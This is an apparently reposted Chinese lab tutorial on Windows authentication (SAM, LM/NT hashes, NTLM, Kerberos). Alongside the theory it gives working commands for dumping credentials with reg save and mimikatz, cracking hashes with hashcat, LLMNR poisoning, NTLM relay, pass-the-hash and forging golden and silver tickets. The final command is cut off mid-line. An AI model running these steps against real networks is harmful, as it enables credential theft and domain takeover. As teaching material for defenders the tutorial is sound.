一文理解 Windows 身份验证原理

Posted TimeShatter

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一文理解 Windows 身份验证原理相关的知识,希望对你有一定的参考价值。

身份验证是用于验证对象或个人身份的过程。对对象进行身份验证时,目标是验证该对象是真实的。在对某人进行身份验证时,目标是验证该人不是冒名顶替者。

在网络环境中,身份验证是向网络应用程序或资源证明身份的行为。通常,通过使用仅用户知道的密钥(如公共密钥密码学)或共享密钥的加密操作来证明身份。身份验证交换的服务器端将签名的数据与已知的加密密钥进行比较,以验证身份验证尝试。

Windows操作系统实现了一组默认的身份验证协议,包括Kerberos、NTLM、传输层安全性/安全套接字层(TLS / SSL)和摘要,作为可扩展体系结构的一部分。此外,某些协议被组合到身份验证包中,例如“协商”和“凭据安全支持提供程序”。这些协议和软件包可对用户,计算机和服务进行身份验证。身份验证过程进而使授权用户和服务能够以安全的方式访问资源。

当用户在凭据输入对话框中输入凭据时,登录过程就会开始。用户可以通过使用本地用户帐户或域帐户登录到计算机来执行交互式登录。

下图显示了交互式登录元素和登录过程。

本地登录

无论是使用 NTLM 协议还是 Kerberos 协议进行身份验证,都需要用户密码来参与 。因此下面先介绍本地登录的过程以及密码的生成方式。

本地登录授予用户访问本地计算机上Windows资源的权限。本地登录要求用户在本地计算机的安全帐户管理器(SAM)中具有用户帐户。SAM以存储在本地计算机注册表中的安全帐户的形式保护和管理用户和组信息。本地登录的账号密码经过编码后以 LM Hash 或 NT Hash 的形式保存在 SAM 数据库中。安全帐户管理器 (SAM) 是存储本地用户帐户和组的数据库。该数据库文件位于 C:\\Windows\\System32\\config\\sam ,同时挂载在注册表中的 HKLM\\SAM 项上。

用户在电脑的登录界面输入密码,通过 WinLogon.exe 把密码提交给本地安全机构( Local Security Authority )来处理。LSA 验证密码是否和 SAM 中的密码一致,如果一致则登录成功。

本地安全机构(LSA)是受保护的系统进程,用于对用户进行身份验证并将其登录到本地计算机。另外,LSA维护有关计算机上本地安全所有方面的信息(这些方面统称为本地安全策略),并且它提供各种服务来在名称和安全标识符(SID)之间进行转换。

安全系统进程本地安全授权服务器服务(LSASS)跟踪计算机系统上有效的安全策略和帐户。本地安全机构子系统服务(LSASS)代表具有活动Windows会话的用户将凭据存储在内存中。存储的凭据使用户可以无缝访问网络资源,例如文件共享,Exchange Server邮箱和SharePoint网站,而无需为每个远程服务重新输入凭据。

LSASS可以多种形式存储凭据,包括:
• 可逆加密的纯文本
• Kerberos 票据(票据授予票据(TGTs),服务票据)
• NT 哈希
• LAN管理器(LM)哈希
如果我们要获取用户的本地密码,有两种方式可以获取
• 从 SAM 中导出密码的哈希。
• 从 lsass 进程中导出明文密码或者哈希,也可以导出票据。

接下来使用 搭建一个简单的Windows域环境 文章中的 windows 7 通过下面的方式将密码从注册表导出,其中 system 文件中保存的密钥用于解密 sam ,所以需要导出 system 文件。先使用管理员权限打开 cmd,输入下面命令导出

reg save hklm\\system system
reg save hklm\\sam sam

system 和 sam 文件复制出虚拟机,然后复制进 kali 虚拟机。
使用samdump2 工具把密码从 sam文件中读取出来,命令如下:

samdump2 system sam

其中的admin 是用户名,1000 是用户 id,aad3b435b51404eeaad3b435b51404ee是用户密码的 LM hash, 在windowsvista/2008 及以上,LM hash 都为这个值,代表空密码,没有 LM hash。56538151fe2e5de3d372faa2924b056b 是用户密码的 NT hash。

LM hash

LM hash: LM hash 全称是 LAN Manager hash, 是 windows2000、xp、2003 保存密码的格式,它是一种不安全的加密格式,最高支持14位长度的密码,在windowsvista 、2008以后的系统默认被禁用,被 NThash替代。其构造方式如下:
以密码 admin 为例

  1. 先将密码转换为大写
admin->ADMIN
  1. 把大写密码转换为16进制字符串,不足14字节将用0在后面补齐,然后分成 7 字节长度的两个部分
ADMIN -> 41444d494e000000000000000000 -> 41444d494e0000 00000000000000
  1. 把两部分十六进制的数据都转换成二进制格式,长度为 56位
41444d494e0000 -> 0100000101000100010011010100100101001110000000000000000000000000000000 -> 00000000000000000000000000000000000000000000000000000000
  1. 把 56 位的二进制流按 7 位一组,分成 8组,在每组的后面加一个 0,然后再把8组8位的数据合并成64位的二进制流。
01000001010001000100110101001001010011100000000000000000 
# 7位一组进行分割
-> 0100000 1010001 0001001 1010100 1001010 0111000 0000000 0000000  
# 每组后面加一个 0
-> 01000000 10100010 00010010 10101000 10010100 01110000 00000000 00000000    
# 把每组合并
-> 0100000010100010000100101010100010010100011100000000000000000000
  1. 把 64 位的二进制流转换成十六进制字符串
0100000010100010000100101010100010010100011100000000000000000000 -> 40a212a894700000
  1. 以转换后的十六进制字符串作为密钥,使用 DES加密固定的字符串 KGS!@#$%,得到的结果转化成十六进制字符串输出。
lmleft=DES(key='40a212a894700000',plaintext='KGS!@#$%')=f0d412bd764ffe81

此时得到了lmhash 的左半部分,右半部分因为全是 0,如果密码小于7 位,其结果都一样

lmrigh=DES(key='0000000000000000',plaintext='KGS!@#$%')=aad3b435b51404ee

7.把加密后的左右两部分合并,得到 lm hash

lmhash=f0d412bd764ffe81+aad3b435b51404ee=f0d412bd764ffe81aad3b435b51404ee

我们来看看在 windows xp 导出密码为 admin的 lm hash ,和计算结果一致

LM hash 的安全问题:

  1. 密码长度最多为 14位。
  2. 密码不区分大小写。
  3. 密码把14位分成两个7位,使得密码强度从 14位降低到7 位,只需要分别破解两个 7位的密码即可还原明文。也就是说,即使是设置14位的超长密码,破解的时间和破解两次7位密码的时间一样。
  4. 如果设置的密码小于等于7位,7位到14位后面的部分将是固定的,固定为aad3b435b51404ee, 只要 lm hash 以 aad3b435b51404ee 结尾,则可以确定密码小于 7位。

NT hash (NTLM hash)

NT hash: 为了解决 LM hash 存在的问题,从Windows Vista 和 WindowsServer 2008开始,默认使用 NT hash 保存密码,LM Hash 被禁用。NT hash 也常被称为 NTLM hash,被用于 NTLM 协议和 Kerberos 协议中。NT hash 的计算方式如下:

  1. 把密码转换成 unicode 格式,也就是每个字符后面加个 \\x00字符
'admin'->'a\\x00d\\x00m\\x00i\\x00n\\x00'
  1. 把 unicode 格式的密码做 md4摘要计算,得出的十六进制结果即为 NThash
NThash=md4('a\\x00d\\x00m\\x00i\\x00n\\x00')=209c6174da490caeb422f3fa5a7ae634

可以用下面的python 代码来生成 ,结果和前面导出的 admin 密码的 NThash 一样

python2 -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "admin".encode("utf-16le")).digest())'

本地密码破解

由于LM hash 和 NT hash 都是使用哈希算法,所以无法直接解密恢复明文,在导出哈希后,可以通过查彩虹表或者使用hashcat 暴力破解密码。原理是先生成常见密码的哈希,然后进行对比,如果一样,即破解密码。常用的在线查哈希的网站有cmd5, 输入要查的哈希,即可查出对应的明文,常见弱口令的哈希都可以在上面查出明文。
https://www.cmd5.com/

使用hashcat 可以通过字典或者穷举的方式破解哈希,破解 LM hash 使用 –m 3000 参数,破解 NT hash 使用 –m 1000 参数。指定字典破解NT hash

hashcat -m 1000 -a 0 209c6174da490caeb422f3fa5a7ae634 password.txt

遍历所有1-7位的小写字母来破解NT hash

hashcat -m 1000 -a 3 -i 209c6174da490caeb422f3fa5a7ae634 ?l?l?l?l?l?l?l

导出内存明文密码

Windows 7 以及 Windows 2008 之前的系统,默认在 lsass.exe 进程在内存中保存着用户输入的明文密码。可以用 mimikatz 等工具从内存中导出明文密码。需要以管理员权限运行 mimikatz

privilege::debug
sekurlsa::logonpasswords

NTLM 协议

上面介绍了用户密码以 NT hash 或者说 NTLM hash 的形式存储,有了这个基础,接下来介绍在网络登录中使用到的 NTLM 协议。

NT LAN Manager(NTLM)身份验证协议用于客户端和服务器之间的身份验证。由于 NTLM 不提供服务器身份验证,因此使用NTLM的应用程序容易受到来自欺骗性服务器的攻击。因此不建议应用程序直接使用NTLM。如果可以选择,则首选通过KILE进行身份验证。但是,当Kerberos协议扩展(KILE)不起作用时,例如在以下情况下,可以使用NTLM。

  1. 其中一台计算机不支持Kerberos。
  2. 服务器未加入域。
  3. KILE配置未正确设置。
  4. 实现选择直接使用NTLM。

当我们在文件夹中输入 \\\\172.16.108.183\\c$ 使用 ip 访问172.16.108.183 主机上的共享目录时,使用的是 NTLM 协议来进行身份验证。

下面介绍 NTLM 协议的认证流程,方便后续了解 NTLM 协议的攻击面。

下图是NTLM 协议的认证流程:

  1. 客户端发送 NEGOTIATE_MESSAGE 消息。它主要包含客户端支持的特性和服务器请求的特性列表。
  2. 服务器生成一个16字节的随机数,称为质询(challenge)或随机数,通过 CHALLENGE_MESSAGE 消息将其发送给客户端。
  3. 客户端使用用户密码的哈希值对该质询进行加密生成 response,通过 AUTHENTICATE_MESSAGE消息将 response 返回给服务器。
  4. 服务器使用用户密码的哈希对challenge进行加密生成 reponse2, 如果和客户端发过来的 response 相同,则认证成功。在域中使用NTML时,服务器如果没有该域用户的密码,则服务器将以下三个项目发送到域控制器:用户名、发送给客户端的challenge、客户端的 response。域控制器使用用户名从“安全帐户管理器”数据库中检索用户密码的哈希。它使用此密码哈希对挑战进行加密。域控制器将它计算出的加密response 与客户端计算出的response进行比较。如果它们相同,则认证成功。

下面使用 wireshark 来查看流量,在宿主机开启 wireshark,监听的端口是虚拟机的网络接口。

使用 Windows Server 2012 (172.16.108.182) 的 test\\administrator 账号去访问 Windows 7 主机 (172.16.108.183)。在 172.16.108.182 上的 powershell 上运行

dir \\\\172.16.108.183\\c$

在 wireshark 上查看流量,可以看到源 ip 172.16.108.182 (client)向目的 ip 172.16.108.183 (server)发一个 NTLMSSP_NEGOTIATE 请求。该请求携带了一些支持的版本信息给服务器。

服务器返回一个 NTLMSSP_CHALLENGE 响应,响应中包括了一个 Chanllenge。

客户端使用用户密码的哈希值对该 Chanllenge 进行加密生成 Response,然后向服务器发送 NTLMSSP_AUTH 请求,携带了 Response,用户名等信息。

服务器收到 response 后使用用户密码的哈希对challenge进行加密生成 reponse2, 如果和客户端发过来的 response 相同,则认证成功。认证成功后,使用 Tree Connect Request 打开共享目录。

NTLM v1 与 v2

NTLM协议有 v1 和 v2 版本,其中的区别是 challenge 和 response 的加密算法不同。v1 的 challenge 是 8 字节, 而 v2的 challenge 是 16 字节。v1 的 response 加密算法如下:

  1. 把16字节的NThash 用零填到21个字节。
  2. 把21字节的值分成三组7字节的序列,用这三个字节产生奇偶校验调整后的密钥,最后变成3组8 字节的密钥。
  3. 用这三组密码分别加密challenge , 得出三组 8字节的密文值, 把这三组密文值连接成 21 字节的 Response。

v2 的 response 加密算法如下:

  1. Unicode大写的用户名与Unicode身份验证目标(域名或服务器名)连接在一起,得出“ USERDOMAIN ”,使用上一步中的16字节NTLM哈希作为密钥,将HMAC-MD5算法应用于此值,得出一个16字节的值。
  2. 接下来,构建Blob块,通过一些字段拼接来构造blob,如时间戳、域名、主机名、用户名等。
  3. 把 challenge 与 blob 拼接起来,把第一步产生的 16字节值作为密钥,将HMAC-MD5算法应用于该值,得到一个16 字节的 NTProofstr。
  4. 将 NTProofstr 与 Blob 拼接得到 NTLMv2 Response 。

Net-NTLMv1 hash 与 Net-NTLMv2 hash

在前面的介绍中,NTLM 的 Response 都是使用 NT hash(用户密码的哈希)加密 challenge 来获取的。因此只要在同一局域网嗅探到 NTLM认证的 challenge 和 response,则可以通过 hashcat 暴力破解的方式来获取明文密码。在暴力破解前,需要构造Net-NTLM hash 来让 hashcat 破解。

Net-NTLMv1 hash的格式为:username::hostname:LM response:NTLM response:challenge
Net-NTLM v2hash 的格式为:username::domain:challenge:NTProofstr:blob

blob就是response 减去NTP1roofStr。(因为在计算response 的时候,response 就是由NTProofStr加上blob)。例如上图中使用wireshark 获取的 NTLMv2 Response 可以构造以下 Net-NTLMv2 hash,其中的response 可以在 wireshark 上右键复制作为 hex流获取。

Administrator::TEST:e6c6a174487126e8:1b1202beb0e32db1052812c0c7ee2610:010100000000000088bc28ca2800d701dff0668e5d04c17900000000020008005400450053005400010008004a004f0048004e000400140074006500730074002e006c006f00630061006c0003001e004a004f0048004e002e0074006500730074002e006c006f00630061006c000500140074006500730074002e006c006f00630061006c000700080088bc28ca2800d70106000400020000000800300030000000000000000000000000300000682efe0fd87a9a010a7bfd639aa687364b5471242c7bbf35aeec4f44978ee9b10a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e003100300038002e00310038003300000000000000000000000000

Net-NTLM hash 破解 —— NTLM 协议攻击面一

除了使用 wireshark 外,还可以使用 Responder 等工具嗅探到 Net-NTLM hash。Responder 可以启动 LLMNR/NBT-NS 服务器。

如果Windows客户端无法使用DNS解析主机名,它将使用链接本地多播名称解析(LLMNR)协议询问相邻计算机。LLMNR可用于解析IPv4和IPv6地址。如果失败,将使用NetBios名称服务(NBT-NS)。NBT-NS是与LLMNR相似的协议,具有相同的目的。两者之间的主要区别是NBT-NS仅在IPv4上运行。

在这些情况下,当使用LLMNR或NBT-NS来解决请求时,网络上任何知道所请求主机IP的主机都可以答复。即使主机以不正确的信息回复了这些请求之一,它仍将被视为合法。

如果网络中某个用户输入了一个不存在的主机名,Responder 就会回复该主机的 ip 是它自己,接着就会向 Responder 发起 NTLM 身份验证,就可以获取 Net-NTLM hash。

在 kali 中运行 Responder 进行监听。kali 处理同一局域网中。

responder -I eth0

在 Windows 2012 文件浏览器上输入一个不存在的主机名\\aaa

此时在 Responder上就会捕获到 NetNTLM hash

捕获到 NetNTLM hash 后,可以使用 hashcat 暴力破解密码。

hashcat 中破解 NetNTLMv2 的参数是 5600,完整的命令如下,使用密码字典 mypass.txt 进行暴力破解:

hashcat -m 5600 Administrator::TEST:65773a2e376981d5:5C2DA6FDA94F28ECF883F0E2DF99472C:0101000000000000C0653150DE09D201E06A13EF18DB1323000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000682EFE0FD87A9A010A7BFD639AA687364B5471242C7BBF35AEEC4F44978EE9B10A001000000000000000000000000000000000000900100063006900660073002F00610061006100000000000000000000000000 mypass.txt

注意,域名要大写,成功破解出密码

哈希传递 (pass the hash) —— NTLM 协议攻击面二

pass the hash ,哈希传递攻击,简称 pth。由于NTLM 认证时使用的是用户的 NT hash (ntlm hash) 对 challenge 加密生成 response,因此如果在主机上获取了用户的 NT hash,则可以直接模拟该用户进行 NTLM 认证 ,不需要知道用户的明文密码。

下面使用 mimikatz 进行演示,下面的操作均需要管理员运行 mimikatz。先在 Windows Server 2012 DC 主机上导出域管理员 administrator 的 ntlm hash。

lsadump::dcsync /user:administrator /csv

导出后,在 Windows 7 john 域用户登录的主机中使用本地管理员运行 mimikatz,输入下面命令进行以使用用户密码(而不是其真实密码)的NTLM哈希在另一个凭据下运行进程。通过传递目标账号的NTLM 哈希,可以伪造目标账号信息来打开一个进程

privilege::debug
sekurlsa::pth /user:Administrator /domain:test.local /ntlm:c7a13af7e52d3f9cc57d4370fcbab252

运行 pth 后, 会使用用户密码(而不是其真实密码)的NTLM哈希在另一个凭据下运行进程。在这里是使用用户 administrator 的账号和 NTLM hash 来运行一个 cmd 进程,当该进程需要进行 ntlm 认证时,会使用该用户名和 ntlm hash 来认证。在新打开的 cmd 上可以列出域控器主机的 c 盘。

dir \\\\172.16.108.182\\c$

NTLM 中继攻击—— NTLM 协议攻击面三

ntlm replay, NTLM 中继攻击。NTLM 认证时并没有验证服务端是不是真的服务端,如果出现一个中间人冒充服务端,通过某种方式让客户端和中间人进行 NTLM认证,那么中间人可以代替客户端对服务端发送 NEGOTIATE_MESSAGE 消息,然后服务端返回 challenge 给中间人,中间人收到后,把challenge 转发给客户端,客户端使用用户的 NT hash 对 challenge 进行加密,生成 response 并 response 返回给中间人,中间人把客户端返回的 response 转发给服务端,由于中间人返回了正确的 response,所以服务端认为中间人就是该用户,中间人认证成功。这样中间人就可以在没有客户端用户哈希的情况下,伪装用户对服务端进行认证。流程图如下:

使用 Responder 工具中的 MultiRlay.py 脚本可以实现 ntlm 中继攻击。我们先启动 wireshark 来监听流量,便于查看实际的攻击过程。接着切换到 kali MultiRlay.py 所在的目录,启动 MultiRlay.py

cd /usr/share/responder/tools
./MultiRelay.py -t 172.16.108.183 -u ALL

其中的 -t 指定要攻击的服务器,这里是 Windows 7 主机的 ip。-u 指定要中继哪个用户到服务器,ALL 表示所有用户。

接着在 Windows 2012 中使用 Administrator 在文件浏览器上访问

\\\\172.16.108.4\\

这是 kali 主机的 ip 地址,也就是中间人的 ip 地址。此操作是模拟用户不知情的情况下访问了中间人,可能是通过 ssrf 访问了 172.16.108.4 或者使用LLMNR服务器来诈骗用户,也可能是通过 outlook 中收到邮件的预加载链接来触发这种攻击。

此时回到 kali ,可以看到已经获取了 Windows 7 主机的 shell。

让我们查看下 wireshark 来看看 ntlm 中断攻击的过程。首先 172.16.108.182 (windows 2012) 向 172.16.108.4 (kali 中间人) 发送了 NEGOTIATE 请求,172.16.108.4 接收后,也向 172.16.108.183 (windows 7 ) 发送 NEGOTIATE 请求。

紧接着 172.16.108.183 向 172.16.108.4 返回了 challenge,值为 4a0cd03fa1dfdff5,接着 172.16.108.4 收到challenge后,向 172.16.108.182 返回 challenge,值也为 4a0cd03fa1dfdff5

接着 172.16.108.182 生成 response 返回给 172.16.108.4,172.16.108.4 把 response 返回给 172.16.108.183,这样 172.16.108.183 就会与 172.16.108.4 认证成功,然后中间人 172.16.108.4 就可以和 172.16.108.183 主机进行正常的操作了,如打开共享目录、在主机上执行命令。


windows 在不同协议中都可以使用 ntlm 协议来认证,如 http、smb 和 ldap。所以 ntlm 中继攻击也可以在不同协议之间切换,如从 http 协议中继到 smb 协议。

先在 MultiRlay.py 中输入 exit 退出 shell,继续监听。接着在 Windows 2012 中使用 Administrator 在 IE 浏览器上访问 http://172.16.108.4

此时 MultiRlay.py 又获得了 172.16.108.183 的 shell

继续来查看 wireshark,172.16.108.182 先向 172.16.108.4 发送了一个 GET 请求

接着 172.16.108.4 返回 401 未认证响应,并在 WWW-Authenticate 头中指定认证方式为 NTLM

接着 172.16.108.182 向 172.16.108.4 发送 NEGOTIATE 请求,在 Authorization 请求头中指定 NEGOTIATE 请求 的内容。

172.16.108.4 接收后,通过 smb 协议向 172.16.108.183 (windows 7 ) 发送 NEGOTIATE 请求。

紧接着 172.16.108.183 向 172.16.108.4 返回了 challenge,值为 df7d70eb8a1f4643,接着 172.16.108.4 收到challenge后,向 172.16.108.182 通过 http 响应返回 challenge,值也为 df7d70eb8a1f4643

后面的过程就是 172.16.108.182 返回 response 给 172.16.108.4,172.16.108.4 再通过 smb 协议返回 response 172.16.108.183,成功认证

NTLM 协议中容易混淆的一些概念

通过前面的介绍,我们可以清楚地知道。

  1. NTLM hash 是指用户密码的哈希值,也叫 NT hash , 保存在 sam 文件中。
  2. NTLM v1 , NTLM v2 是指 NTLM 协议的两个版本。
  3. NetNTLM v1 hash,NetNTLM v2 hash 分别指 NTLM v1 用 response和challage 构造的哈希 、 NTLM v2 用 response和challage 构造的哈希 ,用来暴力破解明文密码。

kerberos 协议

Kerberos身份认证协议提供了一种在建立安全网络连接之前在实体之间进行相互身份验证的机制。它比 NTLM 协议更安全。在可以使用 kerberos协议的情况下,会优先使用 kerberos 协议。

Kerberos 是古典希腊神话中的人物-凶猛的三头狗,Kerberos协议具有三个头:客户端,服务器和在它们之间进行中介的受信任的第三方。该协议中受信任的中介是密钥分发中心(KDC)。

KDC是在物理安全服务器上运行的服务。它维护一个数据库,其中包含域中所有安全主体(客户端或服务器也可以称为安全主体)的帐户信息,里面有所有用户的NT hash,也就是用户密码经过哈希算法处理后生成的密钥,这是每个安全主体与KDC之间进行交互时使用的主密钥。主密钥只有用户自己和KDC知道。

在Kerberos协议模型中,每个客户端/服务器连接都以身份验证开始。客户端和服务器依次执行一系列操作,这些操作旨在帮助服务器验证客户端是真实的。如果身份验证成功,则会话建立完成,并建立安全的客户端/服务器会话。

kerberos 协议的大致流程:客户端想访问服务器的某个服务,如共享文件。首先要向 KDC验证自己的身份,验证成功后获得一张票据授予票据(TGT)。通过 TGT 向 KDC申请访问服务器的票据,KDC验证 TGT和客户端是否正确,如果正确,则为客户端下发一张票据,客户端把该票据发送给服务器,服务器验证票据的有效性后,给客户端提供服务。

可以把整个过程用吃自助餐来类比:有一个有特殊规则的自助餐厅, KDC是里面唯一的收费员,客户交费后获得一张和他身份绑定的自助券(TGT),餐厅中每一种类型的食物都需要特殊的餐券(票据),比如客户想吃海鲜则需要海鲜券,想吃水果则需要水果券。客户想吃海鲜时,就拿着自助券(TGT)去找收费员(KDC),并出示自助券(TGT),说明要吃海鲜。收费员(KDC)检查自助券(TGT)是不是客户的,如果是,就给他发一张海鲜券(票据),客户拿着海鲜券(票据)去找做海鲜的厨师(服务端),厨师验证海鲜券(票据)正确后,给客户端上一盘美味的海鲜(允许访问共享文件)。同理,如果客户又想吃水果,则重复上述过程,拿着自助券(TGT)找收费员(KDC)要水果券(票据),然后拿着水果券(票据)去找切水果师傅要水果。

kerberos协议的主要流程如上图所示,整个流程由三个子协议组成,分别是认证服务交换、票据服务交换、客户端/服务器交换。
• 认证服务交换(Authentication Service Exchange, AS):在此子协议中,密钥分发中心(KDC)为客户端提供了一个登录会话密钥和一个票据授予票据( ticket-granting ticket ,TGT)。
• 票据服务交换(Ticket-GrantingService Exchange ,TGS):在此子协议中,KDC为客户端分发服务会话密钥和服务票据。
• 客户端/服务器交换(Client/ServerExchange ):在此子协议中,客户出示用于访问服务的票证。

Kerberos 认证服务交换

Kerberos 认证的第一步是向 KDC 申请票据授予票据(Ticket-GrantingTicket,TGT)。

1.客户端通过向KDC的身份验证服务发送KRB_AS_REQ类型的消息(Kerberos身份认证服务请求),从而向密钥分发中心(KDC)的票证授予服务(TGS)请求凭据。此消息的第一部分标识用户和所请求的TGS服务。该消息的第二部分包含预认证数据,旨在证明用户知道密码。这只是一个身份验证器消息,它使用从用户登录密码派生的主密钥(NT hash)进行加密。

2.当KDC收到KRB_AS_REQ时,它将在其数据库中查找用户,获取关联用户的主密钥(NT hash),解密预身份验证数据,并评估其中的时间戳。如果时间戳有效,KDC则可以确保客户端是真实的。

3.KDC验证了用户的身份之后,开始创建TGT,步骤如下:

4.KDC生成了一个登录会话密钥,并使用用户的主密钥对副本进行加密。

5.KDC将登录会话密钥和用户授权数据的另一个副本嵌入到授予票据的票证(TGT)中,并使用KDC自己的主密钥(krbtgt账号的NT hash)对TGT进行加密。

6.KDC通过使用类型KRB_AS_REP(Kerberos身份认证服务回复)的消息进行回复,将这些凭据发送回客户端。

7.客户端收到答复后,它将使用从用户密码派生的密钥来解密新的登录会话密钥。

8.客户端将新的会话密钥存储在其票证缓存中。

9.客户端从消息中提取TGT,并将其存储在票证缓存中。

Kerberos 票据服务交换

Kerberos 认证的第二步是向 KDC 申请票据(Ticket)。在为客户端建立了票据授予票据(TGT)和会话密钥之后,客户端可以为服务请求单独的会话密钥和票据。

1.用户工作站上的Kerberos客户端通过向密钥分发中心(KDC)发送类型为KRB_TGS_REQ(Kerberos票据授予服务请求)消息来请求服务的票据。此消息包括客户端想要访问的服务,使用用户的新登录会话密钥加密的身份验证器消息以及从“身份认证服务交换”获得的TGT 。

2.当KDC收到KRB_TGS_REQ时,KDC用其秘密密钥(krgtgt ntlm hash)解密TGT,并提取用户的登录会话密钥。

3.KDC使用登录会话密钥来解密用户的身份验证器消息并对其进行评估。如果验证通过,则KDC将从TGT中提取用户的授权数据,并生成一个服务会话密钥供用户与请求的服务器共享。

4.KDC用用户的登录会话密钥加密服务会话密钥的一个副本。

5.KDC将服务会话密钥的另一个副本与用户的授权数据一起嵌入到票证中,并使用服务器(计算机账号或者服务账号,计算机账号一般是计算机名后面加 $,如DC$)的主密钥(ntlm hash)对票据进行加密。

6.KDC通过使用类型KRB_TGS_REP(Kerberos票据授予服务答复)消息进行答复,将这些凭证发送回客户端。

7.当客户端收到答复时,它将使用用户的登录会话密钥解密服务会话密钥,并将服务会话密钥存储在其票证缓存中。

8.客户端将票证提取出来,并将其存储在票证缓存中。

Kerberos 客户端/服务器交换

用户获得到服务器的票证后,工作站客户端可以与该服务器建立安全的通信会话。

1.客户端向服务器发送类型为KRB_AP_REQ(Kerberos应用程序请求)的消息。该消息包含一个身份验证器消息,该消息由密钥分发中心(KDC)发送的与服务器的会话密钥,与服务器的会话票证以及一个指示客户端是否请求相互身份验证的标志加密。

2.服务器接收 KRB_AP_REQ,使用服务器用户的 ntlm hash 解密票证,并提取用户的授权数据和会话密钥。

3.服务器使用票证中的会话密钥解密用户的身份验证器消息,并评估其中的时间戳。

4.如果消息有效,则服务器会检查客户端请求中的相互验证标志。

5.如果设置了相互身份验证标志,则服务器将使用会话密钥对用户的身份验证器消息中的时间进行加密,并将结果返回到KRB_AP_REP类型的消息中(Kerberos应用程序答复)。

6.客户端收到KRB_AP_REP时,它将使用与服务器共享的会话密钥解密服务器的身份验证器消息,并将服务发送回的时间与其原始身份验证器消息中的时间进行比较。如果它们匹配,则客户端确认服务器是正确的。

7.客户端与服务器认证成功。

下面使用 wireshark 来分析一个整个流程,先启动 wireshark 进行监听,然后在 windows 7 主机上使用 runas 启动一个以域管理员权限运行的 cmd,用于访问域控主机 windows 2012 的共享目录服务。

runas /user:test\\administrator cmd
dir \\\\dc\\c$

先来查看 AS-REQ,客户端 172.16.108.183 向 KDC 172.16.108.182 发送了使用用户 ntlm hash 加密的时间戳,对应的是其中的 padata 的值 。还有客户端用户名 administrator ,对应的是 cname 的值。下面的 sname 代表要访问的服务名,这里是 krbtgt,也就是请求票据授予票据 tgt。

KDC 验证加密的时间戳有效后,通过 AS-REP 返回 administrator 用户的 tgt 。其中的 ticket 字段就是票据,服务名为 krbtgt,代表是 tgt,其实 tgt 和服务票据的结构是一样的,都是 ticket ,只是 sname不一样,tgt 的 sname 为 krbtgt。enc-part 中包含了客户端与 KDC 的会话密钥,使用客户端用户的 ntlm hash 进行加密。

接下来为了访问 DC 主机上的共享文件,客户端向KDC发送了 TGS-REQ 请求服务票据, 在 padata 中携带了 tgt,也就是图中的 ticket 字段, authenticator 为认证器,使用前一步返回的会话密钥加密时间戳。在 sname 中指定了访问的服务是 cifs 服务,也就是文件共享服务,访问的服务器是 DC。

KDC使用登录会话密钥来解密用户的身份验证器消息并对其时间戳进行评估。如果验证通过,则通过 TGS-REP 来返回服务票据,下图中的 ticket 即为服务票据,服务名称为 cifs ,服务器为 DC。

客户端拿到票据后通过 ap-req 发送票据到服务器。其中的 authenticator 身份认证器是使用服务器会话密钥加密的时间戳等信息。

服务器接收 ap-req,解密票据,并提取用户的授权数据和会话密钥。使用票证会话密钥解密用户的身份验证器消息,并评估其中的时间戳。如果消息有则认证成功,返回 ap-rep。

kerberos 的一些攻击面

  1. Kerberoasting。由于 tgt 和 服务票据都是用用户的 ntlm hash 加密的,在只需要暴力破解,即可获取密码,但 krbtgt 和计算机账号的密码都是随机生成的,无法破解。还有一种情况是 SPN 服务账号,有些服务会以域用户的身份来运行,此时该域用户就是服务账号,域用户密码一般不是随机的,可以用于暴力破解。具体的攻击方式后续文章再介绍。
  2. Kerberos 委派。委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。委派主要分为无约束委派和约束委派两个方式,还有一种是基于资源的约束委派。这类的利用方式后续文章再介绍。
  3. 白银票据/黄金票据。
    白银票据和黄金票据是域权限维持的手段。

白银票据:在前面的客户端/服务器交换时,会把票据发送给服务器,而票据是使用服务器的hash加密的,注意,这里的服务器 hash是指服务器账号的 nt hash,如果计算机名是 john,那么就是 john$ 账号的 nt hash。如果攻击者获取了服务器账号的hash,就可以伪造票据来访问服务器的服务,伪造的服务器票据叫做白银票据。也就是直接进行 AP_REQ ,跳过了 AS_REQ、 AS_REP、TGS_REQ、TGS_REP。白银票据只能访问该服务器的服务,要伪造其它服务器的服务,需要获得其它服务器账号的hash 。

黄金票据:在进行 AS_REQ 时,获取的是 TGT,由于 TGT 是使用 krbtgt 账号的 hash来加密的,如果攻击者获取了 krbtgt 账号的 hash,就可以伪造任意账号的 TGT,伪造的TGT叫做黄金票据。通过TGT可以申请任意服务器服务的票据,因此只需要伪造域管理员账号的 TGT,即可访问域内任意服务器的服务。黄金票据跳过了AS_REQ 和 AS_REP 过程。

下面来演示白银票据和黄金票据的利用方式

白银票据

先使用 mimikatz 导出 windows 7 john 主机上的计算机账号 john$ 的 ntlm hash。以本地管理员权限运行 mimikatz 。

log
privilege::debug
sekurlsa::logonpasswords

然后在另一台 Windows 10 bob 主机上使用 mimikatz 生成白银票据。/sid 指定域的 sid,也就是域用户 sid 前面的部分。/target 指定目标服务器。/service 指定票据的服务,cifs 代表共享文件。/rc4 指定 john$ 计算机用户的 ntlm hash。

kerberos::golden /user:test /domain:test.local /sid:S-1-5-21-3565160592-3437419173-685293174 /target:john.test.local /service:cifs /rc4:00f8b7a23db03162312c17a02284f125 /ptt

生成成功后,退出 mimikatz,可以打开 john.test.local 的共享目录

黄金票据

先使用 mimikatz 在 windows 2012 dc 主机上导出 krbtgt 的 ntlm hash。

然后在 windows 7 john 主机上生成黄金票据

使用下面命令生成黄金票据并导出为administrator.kirbi

kerberos::golden /user:administrator /domain:test.local /sid:S-1-5-21-3565160592-3437419173-685293174 /krbtgt:b7cb37444d6f5fe530d760cc8aa5330f /ticket:administrator.kirbi

生成后,可以传输到其它主机,然后使用下面命令导入使用

kerberos::ptt administrator.kirbi

也可以在生成时添加/ptt参数,生成后直接注入当前会话

kerberos::golden /user:administrator /domain:test.local /sid:S-一文理解 Windows 身份验证原理

一文理解 Windows 身份验证原理

Kerberos与票据的爱情故事

【单点登录】CAS协议

CAS 原理

